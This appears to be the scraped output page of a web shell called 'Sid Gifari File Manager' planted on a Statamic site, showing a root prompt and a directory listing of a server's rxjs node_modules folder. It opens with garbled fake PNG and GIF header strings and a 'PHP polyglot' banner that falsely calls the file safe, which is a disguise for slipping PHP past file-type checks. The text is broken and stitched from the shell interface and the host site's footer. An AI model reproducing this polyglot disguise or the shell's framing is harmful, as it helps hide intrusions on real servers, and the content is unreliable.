$假PNG头 = "\x89PNG\r\n\x1a\n";             "\头"\头"\头"\头"\头"\头        $假PNG头 = "\x89PNG\r\n\x1a\n        "\头"\头 $假PNG头 = "\x89PNG\r\n\x1a\n"; GIF89a PHP Polyglot Example

PHP Polyglot Demo

Today's date is: 2026-02-14

This file starts with a GIF header, so some tools might classify it incorrectly, but the contents are safe HTML + PHP.

WordFence

Sid Gifari File Manager

🏠 Root / home / forge / cpmonitor.on-forge.com / node_modules / rxjs / dist / cjs / internal / operators /
root@Sid-Gifari:/home/forge/cpmonitor.on-forge.com/node_modules/rxjs/dist/cjs/internal/operators$


NameSizePermAction
📄 OperatorSubscriber.js 3103 bytes
📄 OperatorSubscriber.js.map 1575 bytes
📄 audit.js 1704 bytes
📄 audit.js.map 1274 bytes
📄 auditTime.js 498 bytes
📄 auditTime.js.map 352 bytes
📄 buffer.js 1059 bytes
📄 buffer.js.map 792 bytes
📄 bufferCount.js 3643 bytes
📄 bufferCount.js.map 1381 bytes
📄 bufferTime.js 4081 bytes
📄 bufferTime.js.map 2213 bytes
📄 bufferToggle.js 2636 bytes
📄 bufferToggle.js.map 1271 bytes
📄 bufferWhen.js 1347 bytes
📄 bufferWhen.js.map 1035 bytes
📄 catchError.js 1142 bytes
📄 catchError.js.map 878 bytes
📄 combineAll.js 258 bytes
📄 combineAll.js.map 187 bytes
📄 combineLatest.js 1723 bytes
📄 combineLatest.js.map 628 bytes
📄 combineLatestAll.js 446 bytes
📄 combineLatestAll.js.map 281 bytes
📄 combineLatestWith.js 1190 bytes
📄 combineLatestWith.js.map 328 bytes
📄 concat.js 1365 bytes
📄 concat.js.map 504 bytes
📄 concatAll.js 273 bytes
📄 concatAll.js.map 229 bytes
📄 concatMap.js 447 bytes
📄 concatMap.js.map 368 bytes
📄 concatMapTo.js 529 bytes
📄 concatMapTo.js.map 392 bytes
📄 concatWith.js 1127 bytes
📄 concatWith.js.map 311 bytes
📄 connect.js 848 bytes
📄 connect.js.map 650 bytes
📄 count.js 350 bytes
📄 count.js.map 393 bytes
📄 debounce.js 1615 bytes
📄 debounce.js.map 1141 bytes
📄 debounceTime.js 1727 bytes
📄 debounceTime.js.map 1357 bytes
📄 defaultIfEmpty.js 759 bytes
📄 defaultIfEmpty.js.map 587 bytes
📄 delay.js 513 bytes
📄 delay.js.map 374 bytes
📄 delayWhen.js 908 bytes
📄 delayWhen.js.map 678 bytes
📄 dematerialize.js 614 bytes
📄 dematerialize.js.map 414 bytes
📄 distinct.js 1000 bytes
📄 distinct.js.map 803 bytes
📄 distinctUntilChanged.js 1111 bytes
📄 distinctUntilChanged.js.map 834 bytes
📄 distinctUntilKeyChanged.js 485 bytes
📄 distinctUntilKeyChanged.js.map 469 bytes
📄 elementAt.js 924 bytes
📄 elementAt.js.map 669 bytes
📄 endWith.js 1193 bytes
📄 endWith.js.map 376 bytes
📄 every.js 754 bytes
📄 every.js.map 647 bytes
📄 exhaust.js 225 bytes
📄 exhaust.js.map 180 bytes
📄 exhaustAll.js 350 bytes
📄 exhaustAll.js.map 245 bytes
📄 exhaustMap.js 1400 bytes
📄 exhaustMap.js.map 1171 bytes
📄 expand.js 608 bytes
📄 expand.js.map 509 bytes
📄 filter.js 569 bytes
📄 filter.js.map 496 bytes
📄 finalize.js 437 bytes
📄 finalize.js.map 370 bytes
📄 find.js 1003 bytes
📄 find.js.map 927 bytes
📄 findIndex.js 361 bytes
📄 findIndex.js.map 299 bytes
📄 first.js 850 bytes
📄 first.js.map 676 bytes
📄 flatMap.js 217 bytes
📄 flatMap.js.map 180 bytes
📄 groupBy.js 3242 bytes
📄 groupBy.js.map 2565 bytes
📄 ignoreElements.js 523 bytes
📄 ignoreElements.js.map 357 bytes
📄 isEmpty.js 628 bytes
📄 isEmpty.js.map 496 bytes
📄 joinAllInternals.js 664 bytes
📄 joinAllInternals.js.map 466 bytes
📄 last.js 861 bytes
📄 last.js.map 675 bytes
📄 map.js 554 bytes
📄 map.js.map 479 bytes
📄 mapTo.js 266 bytes
📄 mapTo.js.map 250 bytes
📄 materialize.js 885 bytes
📄 materialize.js.map 661 bytes
📄 max.js 430 bytes
📄 max.js.map 523 bytes
📄 merge.js 1421 bytes
📄 merge.js.map 580 bytes
📄 mergeAll.js 412 bytes
📄 mergeAll.js.map 287 bytes
📄 mergeInternals.js 2630 bytes
📄 mergeInternals.js.map 1881 bytes
📄 mergeMap.js 976 bytes
📄 mergeMap.js.map 781 bytes
📄 mergeMapTo.js 730 bytes
📄 mergeMapTo.js.map 520 bytes
📄 mergeScan.js 732 bytes
📄 mergeScan.js.map 624 bytes
📄 mergeWith.js 1118 bytes
📄 mergeWith.js.map 309 bytes
📄 min.js 430 bytes
📄 min.js.map 523 bytes
📄 multicast.js 811 bytes
📄 multicast.js.map 556 bytes
📄 observeOn.js 981 bytes
📄 observeOn.js.map 767 bytes
📄 onErrorResumeNextWith.js 1464 bytes
📄 onErrorResumeNextWith.js.map 473 bytes
📄 pairwise.js 651 bytes
📄 pairwise.js.map 550 bytes
📄 partition.js 444 bytes
📄 partition.js.map 398 bytes
📄 pluck.js 879 bytes
📄 pluck.js.map 730 bytes
📄 publish.js 491 bytes
📄 publish.js.map 423 bytes
📄 publishBehavior.js 593 bytes
📄 publishBehavior.js.map 387 bytes
📄 publishLast.js 537 bytes
📄 publishLast.js.map 359 bytes
📄 publishReplay.js 817 bytes
📄 publishReplay.js.map 596 bytes
📄 race.js 1172 bytes
📄 race.js.map 317 bytes
📄 raceWith.js 1345 bytes
📄 raceWith.js.map 477 bytes
📄 reduce.js 401 bytes
📄 reduce.js.map 332 bytes
📄 refCount.js 1131 bytes
📄 refCount.js.map 921 bytes
📄 repeat.js 2456 bytes
📄 repeat.js.map 1596 bytes
📄 repeatWhen.js 1994 bytes
📄 repeatWhen.js.map 1350 bytes
📄 retry.js 3003 bytes
📄 retry.js.map 1870 bytes
📄 retryWhen.js 1426 bytes
📄 retryWhen.js.map 1022 bytes
📄 sample.js 1019 bytes
📄 sample.js.map 749 bytes
📄 sampleTime.js 491 bytes
📄 sampleTime.js.map 332 bytes
📄 scan.js 384 bytes
📄 scan.js.map 318 bytes
📄 scanInternals.js 979 bytes
📄 scanInternals.js.map 838 bytes
📄 sequenceEqual.js 1892 bytes
📄 sequenceEqual.js.map 1533 bytes
📄 share.js 4182 bytes
📄 share.js.map 2581 bytes
📄 shareReplay.js 1144 bytes
📄 shareReplay.js.map 823 bytes
📄 single.js 1352 bytes
📄 single.js.map 985 bytes
📄 skip.js 290 bytes
📄 skip.js.map 278 bytes
📄 skipLast.js 1138 bytes
📄 skipLast.js.map 859 bytes
📄 skipUntil.js 964 bytes
📄 skipUntil.js.map 679 bytes
📄 skipWhile.js 613 bytes
📄 skipWhile.js.map 548 bytes
📄 startWith.js 674 bytes
📄 startWith.js.map 531 bytes
📄 subscribeOn.js 474 bytes
📄 subscribeOn.js.map 425 bytes
📄 switchAll.js 341 bytes
📄 switchAll.js.map 243 bytes
📄 switchMap.js 1414 bytes
📄 switchMap.js.map 1097 bytes
📄 switchMapTo.js 529 bytes
📄 switchMapTo.js.map 392 bytes
📄 switchScan.js 662 bytes
📄 switchScan.js.map 617 bytes
📄 take.js 833 bytes
📄 take.js.map 619 bytes
📄 takeLast.js 1970 bytes
📄 takeLast.js.map 817 bytes
📄 takeUntil.js 692 bytes
📄 takeUntil.js.map 500 bytes
📄 takeWhile.js 732 bytes
📄 takeWhile.js.map 603 bytes
📄 tap.js 1942 bytes
📄 tap.js.map 1206 bytes
📄 throttle.js 2113 bytes
📄 throttle.js.map 1697 bytes
📄 throttleTime.js 572 bytes
📄 throttleTime.js.map 412 bytes
📄 throwIfEmpty.js 894 bytes
📄 throwIfEmpty.js.map 689 bytes
📄 timeInterval.js 1056 bytes
📄 timeInterval.js.map 774 bytes
📄 timeout.js 3087 bytes
📄 timeout.js.map 2328 bytes
📄 timeoutWith.js 1030 bytes
📄 timeoutWith.js.map 842 bytes
📄 timestamp.js 538 bytes
📄 timestamp.js.map 378 bytes
📄 toArray.js 474 bytes
📄 toArray.js.map 461 bytes
📄 window.js 1502 bytes
📄 window.js.map 1091 bytes
📄 windowCount.js 2670 bytes
📄 windowCount.js.map 1556 bytes
📄 windowTime.js 3189 bytes
📄 windowTime.js.map 2391 bytes
📄 windowToggle.js 3392 bytes
📄 windowToggle.js.map 1829 bytes
📄 windowWhen.js 1811 bytes
📄 windowWhen.js.map 1318 bytes
📄 withLatestFrom.js 2430 bytes
📄 withLatestFrom.js.map 1371 bytes
📄 zip.js 1206 bytes
📄 zip.js.map 402 bytes
📄 zipAll.js 356 bytes
📄 zipAll.js.map 257 bytes
📄 zipWith.js 1097 bytes
📄 zipWith.js.map 305 bytes
Backfron - Statamic
Statamic
Guayaquil, Ecuador
info@backfron.com